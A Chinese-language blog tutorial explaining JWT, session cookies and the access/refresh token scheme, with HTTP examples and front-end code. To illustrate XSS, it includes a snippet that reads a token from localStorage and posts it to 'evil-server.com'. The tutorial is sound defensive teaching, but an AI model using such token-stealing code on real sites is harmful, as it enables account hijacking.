搞懂 Access Token 與 Refresh Token:為什麼大公司都這樣做身份驗證

Published December 19, 2025 by 徐培鈞
基礎概念

你有沒有想過,當你登入一個網站後,為什麼不用每點一個頁面就重新輸入帳號密碼?網站到底是怎麼「記住」你是誰的?

這篇文章會用最白話的方式,帶你搞懂兩種最常見的身份驗證方式:JWTSession Cookie。更重要的是,我們會聊聊業界現在怎麼把這兩種方法「混搭」起來,做出既安全又好用的登入系統。

不管你是剛入門的新手,還是想優化現有系統的開發者,看完這篇你就會有清楚的概念了!

兩種主流的身份驗證方式

JWT 是什麼?

JWT(JSON Web Token)簡單說就是一張「通行證」。你登入成功後,伺服器會給你一張通行證(Token),之後你每次要進入會員專區,就出示這張通行證就好。

JWT 怎麼運作?

sequenceDiagram
    participant B as 瀏覽器
    participant S as 伺服器

    B->>S: 1. 登入(帳號、密碼)
    S->>B: 2. 給你 Token(放在回應 Body)
    Note over B: 3. 把 Token 存起來<br/>(通常放 Local Storage)
    B->>S: 4. 要資料囉!<br/>Header: Authorization: Bearer xxx
    S->>B: 5. OK,資料給你

實際的 HTTP 長什麼樣?

步驟 1:登入請求

POST /api/login HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "username": "user@example.com",
  "password": "mypassword123"
}

步驟 2:伺服器回傳 Token(放在 Body)

HTTP/1.1 200 OK
Content-Type: application/json

{
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywiZXhwIjoxNjk5OTk5OTk5fQ.abc123signature",
  "expiresIn": 3600
}

步驟 4:帶著 Token 打 API

GET /api/profile HTTP/1.1
Host: example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywiZXhwIjoxNjk5OTk5OTk5fQ.abc123signature

步驟 5:拿到資料

HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 123,
  "name": "小明",
  "email": "user@example.com"
}

JWT 的重點整理

  • Token 怎麼拿:伺服器直接放在回應的 Body 裡給你
  • Token 怎麼存:你自己決定,通常放 Local Storage
  • Token 怎麼用:放在 HTTP Header 的 Authorization: Bearer <token>
  • 伺服器要不要記東西:不用!Token 本身就包含所有資訊(這叫「無狀態」)

延伸閱讀:JWT 是什麼?運作原理完整解析

Session Cookie 的概念比較像「會員卡」。你登入後,伺服器會在自己的系統裡記錄你的資訊,然後給你一張會員卡(Session ID)。之後你來消費,只要出示會員卡,伺服器就去查你是誰。

Session Cookie 怎麼運作?

sequenceDiagram
    participant B as 瀏覽器
    participant S as 伺服器
    participant DB as Session Store

    B->>S: 1. 登入(帳號、密碼)
    S->>DB: 2. 建立 Session 記錄
    S->>B: 3. 給你會員卡號<br/>Set-Cookie: sid=xxx
    Note over B: 4. 瀏覽器自動存起來
    B->>S: 5. 要資料囉!<br/>Cookie: sid=xxx(自動帶上)
    S->>DB: 6. 查一下這張卡是誰的
    S->>B: 7. OK,資料給你

實際的 HTTP 長什麼樣?

步驟 1:登入請求

POST /api/login HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "username": "user@example.com",
  "password": "mypassword123"
}

步驟 3:伺服器回傳 Session ID(放在 Header 的 Set-Cookie)

HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: sid=abc123xyz789; HttpOnly; Secure; SameSite=Strict; Max-Age=86400

{
  "message": "登入成功"
}

注意!Session ID 不是放在 Body,而是放在 Set-Cookie 這個 Header 裡

步驟 5:瀏覽器自動帶上 Cookie 打 API

GET /api/profile HTTP/1.1
Host: example.com
Cookie: sid=abc123xyz789

你不用寫任何程式碼,瀏覽器會自動把 Cookie 帶上去!

步驟 7:拿到資料

HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 123,
  "name": "小明",
  "email": "user@example.com"
}

Session Cookie 的重點整理

  • Session ID 怎麼拿:伺服器用 Set-Cookie 塞給你
  • Session ID 怎麼存:瀏覽器自動幫你存在 Cookie
  • Session ID 怎麼用:瀏覽器自動帶,你不用管
  • 伺服器要不要記東西:要!需要一個 Session Store(像 Redis)來存資料

延伸閱讀:Session 入門:為什麼不該把用戶資料直接存在 Cookie?

JWT Token 存哪裡才安全?

Local Storage 的問題

前面提到 Session ID 是透過 Set-Cookie 傳回來的,瀏覽器會自動幫你存好,你完全不用煩惱儲存的問題。

但 JWT 就不一樣了——Token 是放在 Response Body 裡,你得自己決定要存在哪裡

大家最常的做法是存在 Local Storage

什麼是 Local Storage?

Local Storage 是瀏覽器提供的一塊儲存空間,你可以把它想像成「瀏覽器裡的小硬碟」。它可以讓網站把一些資料存在使用者的電腦上,而且關掉瀏覽器再打開,資料還會在。

存資料的方式很簡單,就是「一個名稱對應一個值」,例如你可以存一筆叫 token 的資料,值是 abc123

你可以打開瀏覽器的開發者工具(按 F12),到 Application → Local Storage 看看目前網站存了什麼東西。

用 JavaScript 存取 Local Storage 超簡單:

// 存 Token
localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIs...');

// 讀 Token
const token = localStorage.getItem('token');

聽起來很方便對吧?但這裡有個大問題:

JavaScript 能讀到 = 壞人也能讀到

想像一下,如果你的網站有 XSS 漏洞(就是有人能在你網站上執行他的程式碼),壞人只要寫幾行程式就能偷走你的 Token:

// 壞人的程式碼
const stolenToken = localStorage.getItem('token');
fetch('https://evil-server.com/steal', {
  method: 'POST',
  body: JSON.stringify({ token: stolenToken })
});
// Token 就這樣被偷走了...

這就是為什麼資安專家會說:不要把敏感資料存在 Local Storage

HTTP-Only Cookie:比較安全的選擇

有沒有辦法讓 JavaScript 讀不到我們存的東西呢?

有!我們可以改用 Cookie 來存,而且加上 HttpOnly 這個設定。

先來認識 Cookie

Cookie 也是瀏覽器提供的一種儲存空間,跟 Local Storage 有點像,但有幾個重要的差異:

Local Storage你用 JS 自己存
Cookie可以由伺服器透過 Set-Cookie 幫你存
Local Storage你要自己帶
Cookie瀏覽器自動帶上
Local Storage沒什麼特別的
Cookie有很多安全相關的屬性可以設

還記得前面 Session Cookie 的例子嗎?伺服器回傳時用 Set-Cookie 把 Session ID 塞給瀏覽器,瀏覽器就自動存起來了。

什麼是 HTTP-Only?

HttpOnly 是 Cookie 的一個安全屬性。當 Cookie 被標記為 HttpOnly 時,JavaScript 完全無法存取它——只有瀏覽器在發送請求時才會自動帶上。

Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=Strict

比一比

Local Storage✅ 能
HTTP-Only Cookie❌ 不能
Local Storage✅ 能
HTTP-Only Cookie❌ 不能
Local Storage
HTTP-Only Cookie不用,瀏覽器自動帶

看起來 HTTP-Only Cookie 完勝啊!那我們把 JWT 存在 HTTP-Only Cookie 不就好了嗎?

事情沒那麼簡單…

兩難的困境

既然 HTTP-Only Cookie 這麼安全,那我們請伺服器把 JWT 用 Set-Cookie 傳回來不就好了嗎?

sequenceDiagram
    participant B as 瀏覽器
    participant S as 伺服器

    B->>S: 1. 登入
    S->>B: 2. Set-Cookie: token=jwt_xxx (HttpOnly)
    Note over B: Token 安全地存在 Cookie 了!
    B->>S: 3. 要資料囉!<br/>Cookie: token=jwt_xxx(瀏覽器自動帶)
    Note over S: 等等...這是什麼?🤔

實際的 HTTP 長什麼樣?

步驟 2:伺服器把 JWT 放在 Set-Cookie 回傳

HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Secure

{
  "message": "登入成功"
}

步驟 3:瀏覽器自動帶上 Cookie 打 API

GET /api/profile HTTP/1.1
Host: example.com
Cookie: token=eyJhbGciOiJIUzI1NiIs...

問題來了!

看出問題了嗎?

回想一下前面 JWT 的標準做法,Token 應該要放在 Authorization 這個 Header:

GET /api/profile HTTP/1.1
Host: example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

但現在瀏覽器自動帶的是 Cookie 這個 Header:

GET /api/profile HTTP/1.1
Host: example.com
Cookie: token=eyJhbGciOiJIUzI1NiIs...

伺服器看到會很困惑:「我收到的是 Cookie header,這到底是 JWT 還是 Session ID?我該怎麼處理?」

 伺服器收到:Cookie: token=eyJhbGciOiJIUzI1NiIs...
 伺服器期待:Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

那用 JavaScript 改 Header 呢?

有人會想:「瀏覽器自動帶的 Header 不對,那我用 JavaScript 把 Cookie 裡的 JWT 讀出來,再手動放到 Authorization Header 不就好了?」

想法大概是這樣:

// 1. 從 Cookie 讀出 JWT
const jwt = getCookie('token'); 

// 2. 手動放到正確的 Header
fetch('/api/profile', {
  headers: {
    'Authorization': `Bearer ${jwt}`  // 放到正確的地方!
  }
});

聽起來很完美對吧?

問題是:要用 JS 讀,就不能用 HttpOnly

還記得我們為什麼要用 HTTP-Only Cookie 嗎?就是為了讓 JavaScript 讀不到,這樣壞人的 XSS 攻擊就偷不走。

但如果你要用 JavaScript 讀取 Cookie 再放到 Header,那你就不能設定 HttpOnly,不然 JavaScript 根本讀不到啊!

# 如果你要 JS 能讀,就只能這樣設定(沒有 HttpOnly)
Set-Cookie: token=eyJhbGciOiJIUzI1NiIs...; Secure

# 這樣 JS 就能讀了,但壞人的 JS 也能讀了... 💀

這就變成一個死循環

你需要…設定 HttpOnly
結果JS 讀不到,沒辦法放到 Authorization Header
你需要…JS 要能讀取
結果不能設定 HttpOnly,XSS 可以偷走

怎麼選都有問題… 😫

業界的解法——雙 Token 機制

解決問題的核心思路

還記得前面的困境嗎?

  • JWT 放 Local Storage → 不安全,XSS 可以偷走
  • JWT 放 HttpOnly Cookie → 安全,但瀏覽器帶的是 Cookie Header,不符合 JWT 標準
  • 用 JS 讀 Cookie 再放到正確 Header → 那就不能用 HttpOnly,又不安全了

問題的根源是:我們想要「安全」和「符合標準」,但這兩件事好像互相衝突。

業界的洞察是:既然一個 Token 做不到,那就用兩個 Token,各自負責一件事!

設計思路

先用一個現實生活的例子來理解:

🎢 遊樂園的「年票」和「當日手環」

想像你買了遊樂園的年票:

年票一張塑膠卡片
當日手環戴在手上的手環
年票收在皮夾裡,不會隨便拿出來
當日手環戴在手上,隨時能出示
年票一年
當日手環當天
年票去櫃檯換當日手環
當日手環玩設施時出示給工作人員看

流程是這樣的:

  1. 你拿年票去櫃檯,換一個當日手環
  2. 接下來玩設施時,出示手環就好,不用一直掏年票
  3. 手環壞了或隔天再來?再拿年票去換一個新手環

為什麼要這樣設計?

  • 年票很重要(掉了要花錢補辦),所以收好不要一直拿出來 → 安全
  • 手環很方便(戴在手上隨時能出示),而且就算弄丟,最多損失一天 → 方便又損失有限

回到我們的問題,概念是一樣的:

長效憑證(像年票)收好,不讓人輕易拿到
短效憑證(像手環)放在方便取用的地方
長效憑證(像年票)
短效憑證(像手環)
長效憑證(像年票)換取短效憑證
短效憑證(像手環)實際去做事情
長效憑證(像年票)很嚴重(但很難偷)
短效憑證(像手環)有限(反正快過期了)

這就是雙 Token 機制的核心概念——用兩種不同特性的憑證來分工,兼顧安全與方便!

短效 Token 過期了怎麼辦?用長效憑證去換一個新的就好!

具體實作:Refresh Token + Access Token

上面的概念落實到實作,就是業界常用的 Refresh Token + Access Token 機制:

像什麼年票
存哪裡HTTP-Only Cookie
效期長(7-30 天)
用途換 Access Token
像什麼當日手環
存哪裡記憶體(JS 變數)
效期短(5-60 分鐘)
用途呼叫需要登入的 API

為什麼這樣能解決問題?

1️⃣ Refresh Token 放 HttpOnly Cookie

HttpOnly Cookie 的好處是 JavaScript 讀不到,所以 XSS 攻擊偷不走。

但你可能會問:「瀏覽器會自動用 Cookie Header 帶上去,不是說這樣不符合 JWT 標準嗎?」

沒錯,但這裡不符合 JWT 標準也沒關係

因為 Refresh Token 的設計其實是借鏡 Session ID 的做法

  • 存在 HttpOnly Cookie 裡
  • 瀏覽器自動帶上
  • 伺服器收到後去資料庫查驗

既然是借鏡 Session ID,那 Refresh Token 不一定要用 JWT 格式,用 UUID 之類的隨機字串也完全可以:

# 這兩種都可以當 Refresh Token
eyJhbGciOiJIUzI1NiIs...    JWT 格式
550e8400-e29b-41d4-a716...   UUID 格式

不管用什麼格式,反正伺服器都要去資料庫查「這個 Refresh Token 是不是有效的」,所以格式不重要。

我們會設計一個專門用來換 Token 的 API(例如 /api/refresh),這個 API 從一開始就設計成「從 Cookie 讀取 Refresh Token」。所以不會有「格式對不上」的問題,因為它本來就預期收到 Cookie。

簡單說,不同的 API 用不同的方式讀取憑證:

從哪裡讀取憑證從 Cookie Header 拿 Refresh Token
從哪裡讀取憑證從 Authorization Header 拿 Access Token

各走各的路,互不干擾!

✅ 安全(XSS 偷不走)
✅ 不用煩惱 Header 格式問題(因為 /api/refresh 本來就設計成讀 Cookie)

2️⃣ Access Token 放在 Response Body,存在 JavaScript 變數裡

Access Token 是真正拿來打一般 API 的,所以它必須能放到 Authorization: Bearer Header。

怎麼做到?

  1. 前端呼叫 /api/refresh(瀏覽器自動帶上 Refresh Token Cookie)
  2. 伺服器驗證 Refresh Token 後,把 Access Token 放在 Response Body 回傳
  3. 前端用 JavaScript 接收,存在變數
  4. 之後打 API 時,手動把 Access Token 放到 Authorization Header
// 就是這麼簡單
let accessToken = null;

async function refreshToken() {
  const response = await fetch('/api/refresh', {
    credentials: 'include' // 瀏覽器會自動帶上 Refresh Token Cookie
  });
  const data = await response.json();
  accessToken = data.accessToken; // 存在變數裡
}

async function callAPI(url) {
  return fetch(url, {
    headers: {
      'Authorization': `Bearer ${accessToken}` // 手動放到正確的 Header
    }
  });
}

「存在變數裡」就是所謂的 In-Memory(存在記憶體)

你可能會問:「JavaScript 能讀到,那 XSS 不是也能偷走嗎?」

沒錯,理論上可以。但有兩個因素降低了風險:

  1. 效期很短(通常 5-60 分鐘):就算被偷,壞人能用的時間也很有限
  2. 時機要對:攻擊者必須在 Token 還有效的時候,剛好執行惡意程式碼才能偷到

✅ 可以放到標準的 Authorization: Bearer Header
✅ 效期短,就算被偷損失也有限

3️⃣ 「存在記憶體」有什麼缺點?

缺點重新整理頁面就沒了
缺點關掉分頁就沒了

「重新整理就沒了」不是很麻煩嗎?

其實還好!因為 Refresh Token 還安全地躺在 Cookie 裡啊!

使用者重新整理頁面後:

  1. Access Token 消失了(因為變數被清空)
  2. 前端自動呼叫 /api/refresh API
  3. 瀏覽器自動帶上 Refresh Token Cookie
  4. 伺服器驗證後,回傳新的 Access Token
  5. 前端存到變數裡,繼續用

使用者完全沒感覺!

4️⃣ 總結:兩者配合,魚與熊掌兼得

誰負責Refresh Token
像什麼年票
特性安全(HttpOnly),長效期
誰負責Access Token
像什麼當日手環
特性標準(Authorization Header),短效期

這就是為什麼這個機制這麼聰明——它把「安全」和「標準」的責任分開,讓兩種 Token 各司其職!🎉

完整流程是這樣的

sequenceDiagram
    participant B as 瀏覽器
    participant S as 伺服器
    participant DB as Token Store

    Note over B,DB: === 登入階段 ===
    B->>S: 1. 登入(帳號、密碼)
    S->>DB: 2. 記錄 Refresh Token
    S->>B: 3. Set-Cookie: refresh_token=xxx (HttpOnly)

    Note over B,DB: === 換 Token 階段 ===
    B->>S: 4. 我要換 Access Token!
    Note right of B: Cookie: refresh_token=xxx(自動帶)
    S->>DB: 5. 確認一下這個 Refresh Token
    S->>B: 6. OK! Access Token 給你(放在 Body)
    Note over B: 7. 把 Access Token 存在變數裡

    Note over B,DB: === 呼叫 API 階段 ===
    B->>S: 8. 要資料!
    Note right of B: Authorization: Bearer access_token
    S->>B: 9. 資料來囉!

實際的 HTTP 長什麼樣?

🔐 登入階段

步驟 1:送出登入請求

POST /api/login HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "username": "user@example.com",
  "password": "mypassword123"
}

步驟 3:伺服器回傳 Refresh Token(放在 Set-Cookie,不是 Body!)

HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: refresh_token=dGhpc2lzYXJlZnJlc2h0b2tlbg...; HttpOnly; Secure; SameSite=Strict; Max-Age=2592000; Path=/api/refresh

{
  "message": "登入成功"
}

Refresh Token 用 HttpOnly 保護起來,JavaScript 讀不到,安全!

🔄 換 Token 階段

步驟 4:請求換 Access Token(瀏覽器自動帶上 Refresh Token Cookie)

POST /api/refresh HTTP/1.1
Host: example.com
Cookie: refresh_token=dGhpc2lzYXJlZnJlc2h0b2tlbg...

你不用寫任何程式碼帶 Refresh Token,瀏覽器自動帶!

步驟 6:伺服器回傳 Access Token(放在 Body)

HTTP/1.1 200 OK
Content-Type: application/json

{
  "accessToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywiZXhwIjoxNjk5OTk5OTk5fQ.abc123",
  "expiresIn": 900
}

Access Token 放在 Body,前端拿到後存在 JavaScript 變數裡

📦 打 API 階段

步驟 8:帶著 Access Token 打 API(手動放到 Authorization Header)

GET /api/profile HTTP/1.1
Host: example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywiZXhwIjoxNjk5OTk5OTk5fQ.abc123

這次是標準的 JWT 格式了!放在 Authorization: Bearer Header

步驟 9:拿到資料

HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 123,
  "name": "小明",
  "email": "user@example.com"
}

重點整理:兩種 Token 各司其職

Refresh TokenSet-Cookie Header
Access TokenResponse Body
Refresh Token瀏覽器 Cookie(自動)
Access TokenJavaScript 變數(手動)
Refresh Token瀏覽器自動帶 Cookie Header
Access Token手動放 Authorization Header
Refresh TokenHttpOnly 保護,XSS 偷不走
Access Token在記憶體,效期短

為什麼要這麼麻煩?

你可能在想:「搞這麼複雜幹嘛?直接用 Session Cookie 不是很簡單嗎?」

好問題!讓我們來看看各自的問題。

痛點一:每次請求都要查資料庫

用 Session Cookie 時,每打一次 API 都要去 Session Store 確認身份:

sequenceDiagram
    participant B as 瀏覽器
    participant S as 伺服器
    participant DB as Session Store

    B->>S: 打 API 1
    S->>DB: 查 Session
    S->>B: 回應

    B->>S: 打 API 2
    S->>DB: 查 Session
    S->>B: 回應

    B->>S: 打 API 3
    S->>DB: 查 Session
    S->>B: 回應

    Note over DB: 我好累... 😰

使用者一多,Session Store 就爆炸了。

痛點二:擴展很麻煩

Session Store 是「中心化」的,所有伺服器都要連到同一個地方。要擴展只能把機器升級(垂直擴展),不能用很多小機器分擔(水平擴展)。

雙 Token 機制的好處

好處一:大幅減少資料庫查詢

sequenceDiagram
    participant B as 瀏覽器
    participant S as 伺服器
    participant DB as Token Store

    Note over B,DB: 每 15 分鐘才查一次
    B->>S: 換 Access Token
    S->>DB: 驗證 Refresh Token
    S->>B: 給 Access Token

    Note over B,S: 接下來 15 分鐘內<br/>都不用查資料庫!
    B->>S: 打 API(直接驗 JWT)
    S->>B: 回應
    B->>S: 打 API(直接驗 JWT)
    S->>B: 回應
    B->>S: 打 API(直接驗 JWT)
    S->>B: 回應

假設 Access Token 15 分鐘過期,使用者在這期間打了 100 次 API:

查資料庫次數100 次
查資料庫次數1 次

差了 100 倍!

好處二:可以水平擴展

Access Token(JWT)不需要查資料庫就能驗證,所以你可以開很多台伺服器,每台都能獨立處理請求。超適合微服務架構!

好處三:安全性也顧到了

  • Refresh Token 存在 HttpOnly Cookie → XSS 偷不走
  • Access Token 效期短 → 就算被偷,損失有限

什麼時候用什麼?

建議Session Cookie(簡單就好)
建議雙 Token 機制
建議雙 Token 機制
建議Session Cookie
建議雙 Token 機制

實務上的眉角

Refresh Token 的安全設定

Set-Cookie: refresh_token=xxx; HttpOnly; Secure; SameSite=Strict; Max-Age=2592000; Path=/refresh-token
幹嘛用的JS 讀不到
幹嘛用的只在 HTTPS 傳送
幹嘛用的防 CSRF 攻擊
幹嘛用的30 天後過期
幹嘛用的只有特定路徑才帶

效期怎麼設?

建議效期5-60 分鐘
為什麼短一點比較安全
建議效期7-30 天
為什麼太短使用者要一直登入很煩

實際案例

  • 銀行系統:Access Token 5 分鐘,Refresh Token 1 天
  • 一般網站:Access Token 30 分鐘,Refresh Token 14 天
  • 社群媒體:Access Token 1 小時,Refresh Token 30 天

登出怎麼做?

如果 Refresh Token 被偷了怎麼辦?把它作廢就好!

sequenceDiagram
    participant B as 瀏覽器
    participant S as 伺服器
    participant DB as Token Store

    B->>S: 我要登出!
    S->>DB: 把這個 Refresh Token 刪掉
    S->>B: 好,Cookie 也清掉了
    Note over B: 登出成功 👋

登出後會發生什麼?

  1. 這台裝置:馬上登出
  2. 其他裝置:Access Token 還能用,但最多撐到過期(例如 15 分鐘)
  3. 15 分鐘後:想換新 Token?不行,Refresh Token 已經被刪了,乖乖重新登入吧

前端怎麼寫?

class AuthService {
  constructor() {
    this.accessToken = null;
    this.expiresAt = null;
  }

  async login(username, password) {
    await fetch('/api/login', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ username, password }),
      credentials: 'include' // 重要!讓瀏覽器存 Cookie
    });

    // 登入後換 Access Token
    await this.refreshToken();
  }

  async refreshToken() {
    const response = await fetch('/api/refresh-token', {
      method: 'POST',
      credentials: 'include'
    });

    if (!response.ok) {
      throw new Error('登入過期,請重新登入');
    }

    const data = await response.json();
    this.accessToken = data.accessToken;
    this.expiresAt = Date.now() + data.expiresIn * 1000;
  }

  async getValidToken() {
    // 快過期了就先換新的
    if (!this.accessToken || Date.now() > this.expiresAt - 60000) {
      await this.refreshToken();
    }
    return this.accessToken;
  }

  async callAPI(url, options = {}) {
    const token = await this.getValidToken();

    return fetch(url, {
      ...options,
      headers: {
        ...options.headers,
        'Authorization': `Bearer ${token}`
      }
    });
  }

  async logout() {
    await fetch('/api/logout', {
      method: 'POST',
      credentials: 'include'
    });
    this.accessToken = null;
    this.expiresAt = null;
  }
}

// 用法
const auth = new AuthService();
await auth.login('user@example.com', 'password');
const userData = await auth.callAPI('/api/user/profile');

名詞小抄

白話解釋一種通行證格式,自帶資訊,不用查資料庫就能驗證
白話解釋短期通行證,拿來打 API 用的
白話解釋長期憑證,拿來換新的 Access Token
白話解釋伺服器記住你是誰的方式
白話解釋會員卡號,伺服器用這個查你是誰
白話解釋瀏覽器的小型儲存空間,會自動帶在請求裡
白話解釋Cookie 的設定,讓 JS 讀不到
白話解釋伺服器不用記東西
白話解釋伺服器要記東西
白話解釋壞人在你網站上執行他的程式碼
白話解釋壞人誘騙你的瀏覽器發送請求
白話解釋存在程式的變數裡,重新整理就沒了
白話解釋常用來存 Session 的快取資料庫

總結

重點回顧

  1. JWT:不用查資料庫、好擴展,但存在 Local Storage 有風險
  2. Session Cookie:安全好用,但每次都要查資料庫、不好擴展
  3. 雙 Token 機制:結合兩者優點
  • Refresh Token 存 HttpOnly Cookie → 安全
  • Access Token 存記憶體 → 符合標準又不用一直查資料庫

怎麼選?

  • 新手 / 小專案 → Session Cookie,先學會基本的
  • 前後端分離 / 大專案 / 微服務 → 雙 Token 機制

想深入了解?

  • OAuth 2.0 規範
  • OpenID Connect
  • JWT.io(線上 JWT 解析工具)
  • OWASP 安全指南

希望這篇有幫助到你!如果有任何問題,歡迎留言討論 🙌